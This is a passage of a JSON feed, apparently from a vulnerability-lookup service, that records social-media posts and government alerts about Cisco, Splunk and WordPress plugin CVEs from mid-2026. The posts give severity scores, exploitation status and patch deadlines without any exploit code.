#ehabhussein #cybersecurity #infosec #vulnerability #CVE #hacking #security #CVE202620781", "creation_timestamp": "2026-06-17T05:16:12.047195Z"}, {"uuid": "ac83c6a8-324f-44f9-bcc5-a49a67269877", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mohljjzyh22f", "content": "# Daily IT Security Digest \u2014 2026-06-17\n\n## 1. \ud83d\udea8 Cisco Catalyst SD-WAN Manager Zero-Day Exploited in the Wild (CVE-2026-20262)\nA critical zero-day vulnerability in Cisco Catalyst SD-WAN Manager is being actively exploited. Attackers with write access can escalate privileges to root via crafted HTTP", "creation_timestamp": "2026-06-17T05:31:28.611838Z"}, {"uuid": "83ca84a7-2578-4a6a-8867-850695fb1e8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20030", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mthdatvpvq2y", "content": "\ud83d\udea8 CVE-2026-20030 \u2014 CVSS 10 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Crosswork engine...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20030\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-19T18:09:24.466712Z"}, {"uuid": "411e7d3f-ef67-4cf6-b5b0-a1e9647e1696", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mohqqieofs23", "content": "CVE-2026-20262: CISCO Catalyst SD-WAN\u306e\u8106\u5f31\u6027\u304c\u6a19\u7684\u578b\u653b\u6483\u306e\u5bfe\u8c61\u3068\u306a\u3063\u3066\u3044\u308b \n\nCVE-2026-20262: CISCO Catalyst SD-WAN Flaw Under Active Targeted Exploitation  #SecurityAffairs (Jun 16)\n\nsecurityaffairs.com/193693/secur...", "creation_timestamp": "2026-06-17T07:04:49.918129Z"}, {"uuid": "9e516f41-0899-4ea5-b6aa-bdd45233bf04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20231", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mthdb3r6i22j", "content": "\ud83d\udea8 CVE-2026-20231 \u2014 CVSS 9.9 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Workload ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20231\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-19T18:09:33.905943Z"}, {"uuid": "76ba2227-509b-4daa-8b25-d90f16ef7ebc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20315", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mthdbdrpho2m", "content": "\ud83d\udea8 CVE-2026-20315 \u2014 CVSS 10 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Workload ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20315\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-19T18:09:41.079575Z"}, {"uuid": "cee55708-7d91-491a-8cb3-621411977292", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20317", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mthdbmsxf623", "content": "\ud83d\udea8 CVE-2026-20317 \u2014 CVSS 10 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Workload ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20317\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-19T18:09:50.755686Z"}, {"uuid": "835a6b98-872c-4f31-9b57-d84cfa7262e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20318", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mthdbvhwa52b", "content": "\ud83d\udea8 CVE-2026-20318 \u2014 CVSS 9.6 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Workload ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20318\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-19T18:10:01.085644Z"}, {"uuid": "f4eaf1c0-1ed8-45ba-9870-2d2872e4946d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20357", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mthdc5pofu2p", "content": "\ud83d\udea8 CVE-2026-20357 \u2014 CVSS 10 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Crosswork engine...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20357\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-19T18:10:08.473011Z"}, {"uuid": "a7a8d92e-6dfc-4629-9225-360e77193ec7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20358", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mthdcgjhyf2p", "content": "\ud83d\udea8 CVE-2026-20358 \u2014 CVSS 10 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Crosswork engine...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20358\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-19T18:10:17.621743Z"}, {"uuid": "532e5360-8637-48bf-bb8e-47d894a76ff0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20359", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mthdcrousj2c", "content": "\ud83d\udea8 CVE-2026-20359 \u2014 CVSS 9.9 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Crosswork engine...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20359\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-19T18:10:29.250485Z"}, {"uuid": "d1852f46-1b25-4053-9aaa-b0520becc4fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/groovysecurity.bsky.social/post/3moin4ect6l27", "content": "CVE-2026-20262 shipped as a CVSS 6.5. Authenticated file write in Cisco SD-WAN Manager \u2014 the kind of \"medium\" that sits in a backlog for a quarter.\n\nExcept it chains to root on the box running your entire WAN fabric. CISA gave it two weeks.\n\nThe score ranked the bug, not the blast radius.", "creation_timestamp": "2026-06-17T15:32:33.080184Z"}, {"uuid": "686e2f95-e19b-468f-9f17-b10a21011762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3moinuxyh3m2g", "content": "\u26a0\ufe0f Cisco Catalyst SD-WAN Manager flaw CVE-2026-20262 is actively exploited! The bug allows root privilege escalation. CISA has added it to the KEV catalog, mandating a patch by June 29. Update now! #Cisco #CVE #CyberSecurity #KEV\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-06-17T15:46:18.911077Z"}, {"uuid": "724ee487-95fe-4b97-be73-8c390c02399d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20181", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3moitoswvwo2f", "content": "CRITICAL: CVE-2026-20181 in Cisco ISE (3.1 \u2013 3.5) lets authenticated attackers exec OS commands & cause DoS. Lock down admin creds & follow Cisco advisories! https://radar.offseq.com/threat/cve-2026-20181-improper-limitation-of-a-pathname-t-3c6d1c8d7d1de462 #OffSeq #Cisco #Security", "creation_timestamp": "2026-06-17T17:30:15.523191Z"}, {"uuid": "a041cb5b-89d1-4eb8-a3b0-a761ca76186b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20220", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moiwkjvl2j2m", "content": "CVE-2026-20220 - Cisco Crosswork Network Controller Remote Code Execution Vulnerability\nCVE ID : CVE-2026-20220\n \n Published : June 17, 2026, 4:17 p.m. | 1\u00a0hour, 25\u00a0minutes ago\n \n Description : A vulnerability in the web-based management interface of Cisco Crosswork Network Co...", "creation_timestamp": "2026-06-17T18:21:32.453638Z"}, {"uuid": "f1258046-cefc-48d3-9270-9227eb231098", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20190", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moiwpw3s7724", "content": "CVE-2026-20190 - Cisco Identity Services Engine Information Disclosure Vulnerability\nCVE ID : CVE-2026-20190\n \n Published : June 17, 2026, 4:17 p.m. | 1\u00a0hour, 25\u00a0minutes ago\n \n Description : A vulnerability in Cisco ISE and ISE-PIC could allow an unauthenticated, remote attack...", "creation_timestamp": "2026-06-17T18:24:32.907358Z"}, {"uuid": "1c81c8d3-0f89-4a9c-aab7-e785028657f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20181", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moixnagbfu2b", "content": "CVE-2026-20181 - Cisco Identity Services Engine Remote Code Execution Vulnerability\nCVE ID : CVE-2026-20181\n \n Published : June 17, 2026, 4:16 p.m. | 1\u00a0hour, 25\u00a0minutes ago\n \n Description : A vulnerability in Cisco ISE and ISE-PIC could allow an authenticated, remote attacker ...", "creation_timestamp": "2026-06-17T18:40:56.897969Z"}, {"uuid": "cb35c527-055c-4a50-8cb9-2335c835548e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20246", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moiy75gbak2f", "content": "CVE-2026-20246 - Cisco Umbrella Virtual Appliance Privilege Escalation Vulnerability\nCVE ID : CVE-2026-20246\n \n Published : June 17, 2026, 4:17 p.m. | 1\u00a0hour, 25\u00a0minutes ago\n \n Description : A vulnerability in the vmadmin CLI of Cisco Umbrella Virtual Appliance could allow an ...", "creation_timestamp": "2026-06-17T18:50:57.582487Z"}, {"uuid": "f0a358eb-6255-4bf6-ba23-c14e2994bde4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3moj7o5nxto2t", "content": "\ud83d\udea8 HIGH: CVE-2026-20223\n\nCVSS 10.0/10\n\n\ud83d\udccb WHAT IT IS:\nA vulnerability in the access validation of internal REST APIs of Cisco Secure Workload could allow an unauthenticated, remote attacker to access site resources with the privileges of the Site Admin role.\n\nThis vulnerability is due to i", "creation_timestamp": "2026-06-17T21:04:37.206079Z"}, {"uuid": "8472a0e6-cdbf-4d0e-a990-593e979a085c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20266", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mojas23eof2f", "content": "CVE-2026-20266 - OS Command Injection in the btool Configuration Helper in Splunk AI Toolkit\nCVE ID : CVE-2026-20266\n \n Published : June 17, 2026, 5:07 p.m. | 2\u00a0hours, 22\u00a0minutes ago\n \n Description : In Splunk AI Toolkit versions below 5.7.4, a user who holds the \"admin\" Splun...", "creation_timestamp": "2026-06-17T21:24:42.090271Z"}, {"uuid": "5ae2fea1-fdaf-4198-83ac-742aeee1e921", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20266", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mojyldna6o2w", "content": "Splunk AI Toolkit 5.7 CRITICAL flaw: Admins can run arbitrary OS commands via unsafe shell execution. Restrict admin access & check vendor guidance ASAP. https://radar.offseq.com/threat/cve-2026-20266-the-software-constructs-all-or-part-32c0ef3d9fc0383c #OffSeq #Splunk #Vuln", "creation_timestamp": "2026-06-18T04:30:27.004364Z"}, {"uuid": "a5a46b8d-4cdc-4796-8ff9-28535a6c59e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mok2hg6tdw2b", "content": "\ud83d\udea8 Daily IT Security Digest \u2014 2026-06-18\n\n#1 Cisco Catalyst SD-WAN: Zero-day (CVE-2026-20262, CVSS 9.2) actively exploited. Attackers with write access escalate to root via crafted HTTP requests. Patch now.", "creation_timestamp": "2026-06-18T05:04:35.524036Z"}, {"uuid": "d8a75695-0360-4d77-9a30-44bce37181a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mok45d45gt2q", "content": "closely.\n[Source: @offseq@infosec.exchange](https://infosec.exchange/@offseq/116768874653611252)\n\n## 2. \ud83d\udea8 CRITICAL: CVE-2026-20262 \u2014 Cisco Catalyst SD-WAN Manager Zero-Day in the Wild\nAttackers with write access can escalate to root via crafted HTTP requests. This zero-day is actively exploited in", "creation_timestamp": "2026-06-18T05:34:12.212120Z"}, {"uuid": "bbc5887a-a93c-4220-a138-c59b784a2767", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mokbhbp2d72y", "content": "Every organization running Cisco $CSCO Unified Communications Manager should patch now. A flaw tracked as CVE-2026-20230 lets a crafted web request write arbitrary files onto the system, and proof-of-concept exploit code is already public. Cisco has released fixes. Source: Cisco.", "creation_timestamp": "2026-06-18T07:09:16.327791Z"}, {"uuid": "94d45582-e3db-4ff7-b3d9-70c2407302d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mokf2cnugg2o", "content": "Cisco rated CVE-2026-20262 a 6.5. CISA put it on the must-patch list anyway: a low-privilege login on SD-WAN Manager writes files as root and owns your whole WAN fabric. Patch by June 29. #CISAKEV", "creation_timestamp": "2026-06-18T08:13:34.050893Z"}, {"uuid": "f691464a-3a1a-44f5-8a91-2565d965aa03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20178", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1928", "content": "", "creation_timestamp": "2026-06-17T21:00:00.000000Z"}, {"uuid": "6eb31d37-7d5f-4d03-90c8-e17d4b61a636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20181", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1928", "content": "", "creation_timestamp": "2026-06-17T21:00:00.000000Z"}, {"uuid": "0da1f01d-5db7-469e-a5ea-27e6d6f6cae1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20190", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1928", "content": "", "creation_timestamp": "2026-06-17T21:00:00.000000Z"}, {"uuid": "23ecbe4a-c28e-440f-a1fb-0baf07ba1b92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20220", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1928", "content": "", "creation_timestamp": "2026-06-17T21:00:00.000000Z"}, {"uuid": "58ca7a4b-3bf1-49c9-a1fd-d0c21f7c17cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20246", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1928", "content": "", "creation_timestamp": "2026-06-17T21:00:00.000000Z"}, {"uuid": "e0256634-b83f-442c-9b99-a1d7c4b1fa1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20200", "type": "seen", "source": "https://bsky.app/profile/seraphimnews.bsky.social/post/3msowcpwro42s", "content": "CVE-2026-20200: Kerentanan Argument Injection pada Cisco IMC Memungkinkan Eksekusi Perintah Root dan Pengambilalihan Server Fisik\n\nhttps://www.seraphimnews.my.id/blog/cisco-imc-cve-2026-20200-root-rce-agustus-2026", "creation_timestamp": "2026-08-10T01:13:55.965354Z"}, {"uuid": "eaec935b-a383-4187-8774-fec32bfcc788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20303", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3msf3dfjyn62g", "content": "CVE-2026-20303\u304a\u3088\u3073CVE-2026-20304\uff1aCisco SD-WAN\u306e\u8106\u5f31\u6027\u304cCVSS\u30b9\u30b3\u30a29.9\u306b\u8a72\u5f53 \n\nCVE-2026-20303 & CVE-2026-20304: Cisco SD-WAN Flaws Hit CVSS 9.9  #DailyCyberSecurity (Aug 5)\n\nsecurityonline.info/cisco-sd-wan...", "creation_timestamp": "2026-08-06T03:17:09.558173Z"}, {"uuid": "24895891-3381-4e4d-8bc0-1dd4a2e8e9ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20304", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3msf3dfjyn62g", "content": "CVE-2026-20303\u304a\u3088\u3073CVE-2026-20304\uff1aCisco SD-WAN\u306e\u8106\u5f31\u6027\u304cCVSS\u30b9\u30b3\u30a29.9\u306b\u8a72\u5f53 \n\nCVE-2026-20303 & CVE-2026-20304: Cisco SD-WAN Flaws Hit CVSS 9.9  #DailyCyberSecurity (Aug 5)\n\nsecurityonline.info/cisco-sd-wan...", "creation_timestamp": "2026-08-06T03:17:09.607211Z"}, {"uuid": "43d3782d-250c-43d2-921f-ce4be5a43c70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20181", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116770554180106972", "content": "Attention, elevated activities detected targeting Cisco Identity Services Engine Software and ISE Passive Identity Connector (CVE-2026-20181) https://vuldb.com/vuln/372068/cti", "creation_timestamp": "2026-06-18T10:07:40.966335Z"}, {"uuid": "bcfb8587-828d-4011-ac0e-afd7bada1850", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20181", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116770762113234669", "content": "CVE-2026-20181: Cisco ISE/ISE-PIC critical command execution vuln lets authenticated admins run arbitrary OS commands & escalate to root. Patch ISE 3.3/3.4/3.5 ASAP. No active exploitation reported. https://radar.offseq.com/threat/critical-command-execution-vulnerability-patched-i-a05f1533b3fe52d4 #OffSeq #Cisco #Vuln #Infosec", "creation_timestamp": "2026-06-18T11:00:35.340147Z"}, {"uuid": "ad451aad-9581-4b51-9f34-be891bdfbe2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20181", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mokoesowfo24", "content": "Cisco ISE & ISE-PIC face a CRITICAL command execution vuln (CVE-2026-20181). Authenticated admins can gain root. Update ISE 3.3/3.4/3.5 now \u2014 no active exploits yet. \ud83d\udd12 https://radar.offseq.com/threat/critical-command-execution-vulnerability-patched-i-a05f1533b3fe52d4 #OffSeq #Cisco #Vuln", "creation_timestamp": "2026-06-18T11:00:48.785017Z"}, {"uuid": "59634599-0139-492a-805d-97fa4108839c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2021", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mokrgp6sbx2a", "content": "CVE-2026-2021 - Slideshow Gallery LITE\nCVE ID : CVE-2026-2021\n \n Published : June 18, 2026, 8:31 a.m. | 3\u00a0hours, 4\u00a0minutes ago\n \n Description : The Slideshow Gallery LITE plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'alwaysauto' shortcode attribute...", "creation_timestamp": "2026-06-18T11:55:22.862157Z"}, {"uuid": "8a12c557-b00f-4fae-ae36-17aca1825e7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20265", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mokvncudk626", "content": "\ud83d\udd17 CVE : CVE-2026-20265, CVE-2026-20266", "creation_timestamp": "2026-06-18T13:10:36.029418Z"}, {"uuid": "64422085-dd31-4644-a68f-ccb9895e3091", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20266", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mokvncudk626", "content": "\ud83d\udd17 CVE : CVE-2026-20265, CVE-2026-20266", "creation_timestamp": "2026-06-18T13:10:36.182719Z"}, {"uuid": "fc0d9fa5-7492-4b54-a640-bd62945a0dbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20181", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mokvvoim2u2j", "content": "\ud83d\udd17 CVE : CVE-2026-20181, CVE-2026-20190", "creation_timestamp": "2026-06-18T13:15:11.965600Z"}, {"uuid": "dd1e53bf-1433-4481-9f75-ad211c77c982", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20190", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mokvvoim2u2j", "content": "\ud83d\udd17 CVE : CVE-2026-20181, CVE-2026-20190", "creation_timestamp": "2026-06-18T13:15:12.155261Z"}, {"uuid": "55b03dc5-95e2-4a38-9feb-ce2b12c5fc0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mokyxob5wz2y", "content": "No patch and no workaround yet: Cisco $CSCO confirmed a root-level command injection flaw in its Catalyst SD-WAN Manager, CVE-2026-20245, that attackers are already exploiting. It is the seventh SD-WAN zero-day Cisco has flagged as exploited in 2026. Reported by Mandiant.", "creation_timestamp": "2026-06-18T14:10:00.019066Z"}, {"uuid": "2267f717-b48d-4947-92e8-26d0c72db667", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mokymgjj5b2j", "content": "vendor updates closely.\n[Source: @offseq@infosec.exchange](https://infosec.exchange/@offseq/116768874653611252)\n\n## 2. \ud83d\udea8 CRITICAL: CVE-2026-20262 \u2014 Cisco Catalyst SD-WAN Manager Zero-Day in the Wild\nAttackers with write access can escalate to root via crafted HTTP requests. This", "creation_timestamp": "2026-06-18T14:03:42.815579Z"}, {"uuid": "e2a28cf8-b29e-48fb-82ad-552e5de91cab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20181", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mokzsuyzeo2c", "content": "Cisco Issues Critical CVE-2026-20181 Fix After Command Execution Flaw Threatens Identity Security Systems +\u00a0Video\n\nIntroduction: A High-Risk Vulnerability Strikes the Core of Network Access Control Network identity systems sit at the center of modern enterprise security, controlling who can\u2026", "creation_timestamp": "2026-06-18T14:25:13.698672Z"}, {"uuid": "e52ae0da-80b7-492e-aa18-c391c6ebd038", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mola62iyik2q", "content": "\ud83d\uded1 CVE-2026-20253\nSplunk Enterprise\nCVSS 9.8 / EPSS 2% / KEV: No\nTL;DR: In Splunk Enterprise 10.2 versions below 10.2.4 and 10 versions below 10.0.7, an unauthen\u2026\nhttps://cvesentinel.com/report/CVE-2026-20253?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-06-18T16:18:50.610507Z"}, {"uuid": "ba5873c1-ea7e-452c-bcbd-735107f7685e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116772074154431620", "content": "CISA has added one vulnerability to the KEV catalogue.\n- CVE-2026-20253: Splunk Enterprise Missing Authentication for Critical Function Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-20253#CISA #infosec #vulnerability", "creation_timestamp": "2026-06-18T16:34:08.585636Z"}, {"uuid": "7419e252-0147-4d51-88ce-319d8995dd20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/secdb.bsky.social/post/3molci2zapk2i", "content": "\ud83d\udea8 CISA Adds One Known Exploited Vulnerability to Catalog (https://secdb.nttzen.cloud/security-advisory/detail/CISA-2026:0618)\n\n\u26a0\ufe0f CVE-2026-20253 - Splunk Enterprise Missing Authentication for Critical Function Vulnerability\n\n\n#ZEN #SecDB #InfoSec #CISA_KEV", "creation_timestamp": "2026-06-18T17:00:14.777669Z"}, {"uuid": "2e214e51-b3d6-4051-a619-6becc62c7579", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/446994d6-48cf-44d8-a047-a583e57e9625", "content": "", "creation_timestamp": "2026-06-18T17:00:02.984706Z"}, {"uuid": "42a237ae-20de-4ff8-b061-ed90108ca1c5", "vulnerability_lookup_origin": 